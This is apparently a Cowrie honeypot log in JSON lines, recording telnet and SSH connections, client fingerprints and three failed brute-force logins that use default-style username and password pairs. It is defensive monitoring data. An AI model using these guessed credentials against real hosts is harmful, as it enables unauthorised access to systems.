{"eventid":"cowrie.session.closed","duration":14.78573751449585,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.488462Z","src_ip":"177.241.181.122","session":"dc82ca418b4b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.412280321121216,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.492810Z","src_ip":"185.111.235.80","session":"1d23e2adb018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":54448,"dst_ip":"159.203.135.109","dst_port":23,"session":"e517ee31fc09","protocol":"telnet","message":"New connection: 117.120.7.112:54448 (159.203.135.109:23) [session: e517ee31fc09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.678110Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":54578,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa63779a317d","protocol":"telnet","message":"New connection: 117.120.7.112:54578 (159.203.135.109:23) [session: aa63779a317d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.708988Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"test123","message":"login attempt [root/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.722792Z","src_ip":"176.65.139.103","session":"1831ba5ac41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.391008138656616,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:41.995897Z","src_ip":"185.111.235.80","session":"3a1ffaa7ad43","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.209426641464233,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:42.453543Z","src_ip":"185.111.235.80","session":"14b9cc355c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57432,"dst_ip":"159.203.135.109","dst_port":23,"session":"f94818eb03f3","protocol":"telnet","message":"New connection: 117.120.7.112:57432 (159.203.135.109:23) [session: f94818eb03f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:42.736139Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":57790,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4b3c938eb18","protocol":"telnet","message":"New connection: 117.120.7.112:57790 (159.203.135.109:23) [session: f4b3c938eb18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:42.888815Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:42.927132Z","src_ip":"176.65.139.103","session":"1831ba5ac41b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.518929958343506,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:43.177159Z","src_ip":"117.120.7.112","session":"ab4f2105e814","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151039838790894,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:43.232814Z","src_ip":"117.120.7.112","session":"f70de4dd3c28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16125988960266,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:43.286564Z","src_ip":"117.120.7.112","session":"811b09db5e64","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":36222,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2aa2f9cb7c9","protocol":"telnet","message":"New connection: 185.111.235.80:36222 (10.17.0.5:23) [session: f2aa2f9cb7c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:43.747741Z"}
{"eventid":"cowrie.session.closed","duration":30.760221242904663,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:43.940066Z","src_ip":"185.111.235.80","session":"1b1b0789ce47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.800651788711548,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:43.990614Z","src_ip":"185.111.235.80","session":"ca597b4a4368","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":37466,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c8b232afe77","protocol":"telnet","message":"New connection: 185.111.235.80:37466 (10.17.0.5:23) [session: 7c8b232afe77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:44.067766Z"}
{"eventid":"cowrie.session.closed","duration":30.96069073677063,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:44.078863Z","src_ip":"117.120.7.112","session":"6f2d84e846ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33976,"dst_ip":"159.203.135.109","dst_port":23,"session":"21d505362663","protocol":"telnet","message":"New connection: 117.120.7.112:33976 (159.203.135.109:23) [session: 21d505362663]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:44.646846Z"}
{"eventid":"cowrie.session.closed","duration":30.87856388092041,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:44.975622Z","src_ip":"185.111.235.80","session":"a7bc129f6c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738906860351562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:44.991317Z","src_ip":"185.111.235.80","session":"8a3978d5c296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.92365789413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:45.013583Z","src_ip":"185.111.235.80","session":"b34bb3e94abe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":34904,"dst_ip":"159.203.135.109","dst_port":23,"session":"77ae9cac20f8","protocol":"telnet","message":"New connection: 117.120.7.112:34904 (159.203.135.109:23) [session: 77ae9cac20f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:45.025765Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":35210,"dst_ip":"159.203.135.109","dst_port":23,"session":"f5bf13c24483","protocol":"telnet","message":"New connection: 117.120.7.112:35210 (159.203.135.109:23) [session: f5bf13c24483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:45.110741Z"}
{"eventid":"cowrie.session.closed","duration":30.60927677154541,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:45.193507Z","src_ip":"117.120.7.112","session":"71d5427977a9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":35548,"dst_ip":"159.203.135.109","dst_port":23,"session":"c08ed027aa87","protocol":"telnet","message":"New connection: 117.120.7.112:35548 (159.203.135.109:23) [session: c08ed027aa87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:45.324923Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":36130,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcc4f7a535b1","protocol":"telnet","message":"New connection: 117.120.7.112:36130 (159.203.135.109:23) [session: bcc4f7a535b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:45.542364Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":51630,"dst_ip":"10.17.0.5","dst_port":23,"session":"5515649d7491","protocol":"telnet","message":"New connection: 185.111.235.80:51630 (10.17.0.5:23) [session: 5515649d7491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.073679Z"}
{"eventid":"cowrie.session.closed","duration":30.46565556526184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.091268Z","src_ip":"117.120.7.112","session":"ce379823a506","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":52552,"dst_ip":"10.17.0.5","dst_port":23,"session":"03cc7c404867","protocol":"telnet","message":"New connection: 185.111.235.80:52552 (10.17.0.5:23) [session: 03cc7c404867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.214991Z"}
{"eventid":"cowrie.session.closed","duration":31.010823726654053,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.429745Z","src_ip":"117.120.7.112","session":"33428b28059e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05399489402771,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.433922Z","src_ip":"117.120.7.112","session":"bcc2a2c69e95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.564128398895264,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.437232Z","src_ip":"117.120.7.112","session":"b55391427a1f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f11a1f025731","protocol":"telnet","message":"New connection: 117.120.7.112:39712 (159.203.135.109:23) [session: f11a1f025731]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.825242Z"}
{"eventid":"cowrie.session.closed","duration":31.125678539276123,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:46.978108Z","src_ip":"185.111.235.80","session":"8064d07df435","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.081159114837646,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.052028Z","src_ip":"117.120.7.112","session":"b6d2c13b40bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46656,"dst_ip":"159.203.135.109","dst_port":22,"session":"1b3952350020","protocol":"ssh","message":"New connection: 159.203.92.129:46656 (159.203.135.109:22) [session: 1b3952350020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.167838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.172533Z","src_ip":"159.203.92.129","session":"1b3952350020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.178995Z","src_ip":"159.203.92.129","session":"1b3952350020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"1qaz#EDC","message":"login attempt [ansible/1qaz#EDC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.190578Z","src_ip":"159.203.92.129","session":"1b3952350020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.97036099433899,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.277419Z","src_ip":"185.111.235.80","session":"4ea03cddd7c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.699440956115723,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.440960Z","src_ip":"185.111.235.80","session":"e4140cf9a612","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":53060,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ebae209de57","protocol":"ssh","message":"New connection: 176.65.139.103:53060 (10.17.0.5:22) [session: 3ebae209de57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.578547Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.583285Z","src_ip":"176.65.139.103","session":"3ebae209de57","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.666079Z","src_ip":"176.65.139.103","session":"3ebae209de57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":39276,"dst_ip":"159.203.135.109","dst_port":23,"session":"4fd9815aa859","protocol":"telnet","message":"New connection: 117.120.7.112:39276 (159.203.135.109:23) [session: 4fd9815aa859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.675935Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":41666,"dst_ip":"159.203.135.109","dst_port":23,"session":"d704f39fd30d","protocol":"telnet","message":"New connection: 117.120.7.112:41666 (159.203.135.109:23) [session: d704f39fd30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.705919Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":60080,"dst_ip":"10.17.0.5","dst_port":23,"session":"b43aacddf2e6","protocol":"telnet","message":"New connection: 185.111.235.80:60080 (10.17.0.5:23) [session: b43aacddf2e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.740266Z"}
{"eventid":"cowrie.session.closed","duration":30.23439383506775,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.881371Z","src_ip":"185.111.235.80","session":"e821cff80d3e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.476356744766235,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.904363Z","src_ip":"185.111.235.80","session":"6a8aa709df36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.81239151954651,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:47.916369Z","src_ip":"185.111.235.80","session":"32579d2e3656","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.661331176757812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.052990Z","src_ip":"117.120.7.112","session":"6afdb073ad45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.976990461349487,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.110846Z","src_ip":"117.120.7.112","session":"af977927b48c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.198992Z","src_ip":"159.203.92.129","session":"1b3952350020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"docker","password":"docker123","message":"login attempt [docker/docker123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.259586Z","src_ip":"176.65.139.103","session":"3ebae209de57","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43056,"dst_ip":"159.203.135.109","dst_port":23,"session":"8636fc9dfefa","protocol":"telnet","message":"New connection: 117.120.7.112:43056 (159.203.135.109:23) [session: 8636fc9dfefa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.270128Z"}
{"eventid":"cowrie.session.closed","duration":30.76423454284668,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.305798Z","src_ip":"185.111.235.80","session":"fad4af684411","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":43414,"dst_ip":"159.203.135.109","dst_port":23,"session":"0deb6780e114","protocol":"telnet","message":"New connection: 117.120.7.112:43414 (159.203.135.109:23) [session: 0deb6780e114]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.430777Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":35644,"dst_ip":"10.17.0.5","dst_port":23,"session":"89c3fb23755f","protocol":"telnet","message":"New connection: 185.111.235.80:35644 (10.17.0.5:23) [session: 89c3fb23755f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.532480Z"}
{"eventid":"cowrie.session.closed","duration":30.50981044769287,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:48.992098Z","src_ip":"117.120.7.112","session":"0972cf07979a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":42650,"dst_ip":"159.203.135.109","dst_port":23,"session":"449d3bb45b7e","protocol":"telnet","message":"New connection: 117.120.7.112:42650 (159.203.135.109:23) [session: 449d3bb45b7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:49.085397Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":45642,"dst_ip":"159.203.135.109","dst_port":23,"session":"56e90579f26e","protocol":"telnet","message":"New connection: 117.120.7.112:45642 (159.203.135.109:23) [session: 56e90579f26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:49.245835Z"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:49.366006Z","src_ip":"176.65.139.103","session":"3ebae209de57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.44099235534668,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:49.409406Z","src_ip":"185.111.235.80","session":"b54df641ebc9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":42106,"dst_ip":"10.17.0.5","dst_port":23,"session":"4a92caf1af48","protocol":"telnet","message":"New connection: 185.111.235.80:42106 (10.17.0.5:23) [session: 4a92caf1af48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:49.860614Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":47902,"dst_ip":"159.203.135.109","dst_port":23,"session":"fc0a3451e65f","protocol":"telnet","message":"New connection: 117.120.7.112:47902 (159.203.135.109:23) [session: fc0a3451e65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:49.970201Z"}
{"eventid":"cowrie.session.closed","duration":30.57953691482544,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:50.013255Z","src_ip":"117.120.7.112","session":"ec6528aeceb9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.125771045684814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:50.102162Z","src_ip":"117.120.7.112","session":"8ce9c068741c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":48476,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a2911b8ebae","protocol":"telnet","message":"New connection: 117.120.7.112:48476 (159.203.135.109:23) [session: 4a2911b8ebae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:50.155039Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":38802,"dst_ip":"10.17.0.5","dst_port":23,"session":"0aa766b94cbd","protocol":"telnet","message":"New connection: 185.111.235.80:38802 (10.17.0.5:23) [session: 0aa766b94cbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:50.165041Z"}
{"eventid":"cowrie.session.closed","duration":31.416057109832764,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:50.239329Z","src_ip":"117.120.7.112","session":"29b49ec33986","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.111.235.80","src_port":45726,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b21aca95a8c","protocol":"telnet","message":"New connection: 185.111.235.80:45726 (10.17.0.5:23) [session: 9b21aca95a8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:25:50.596295Z"}
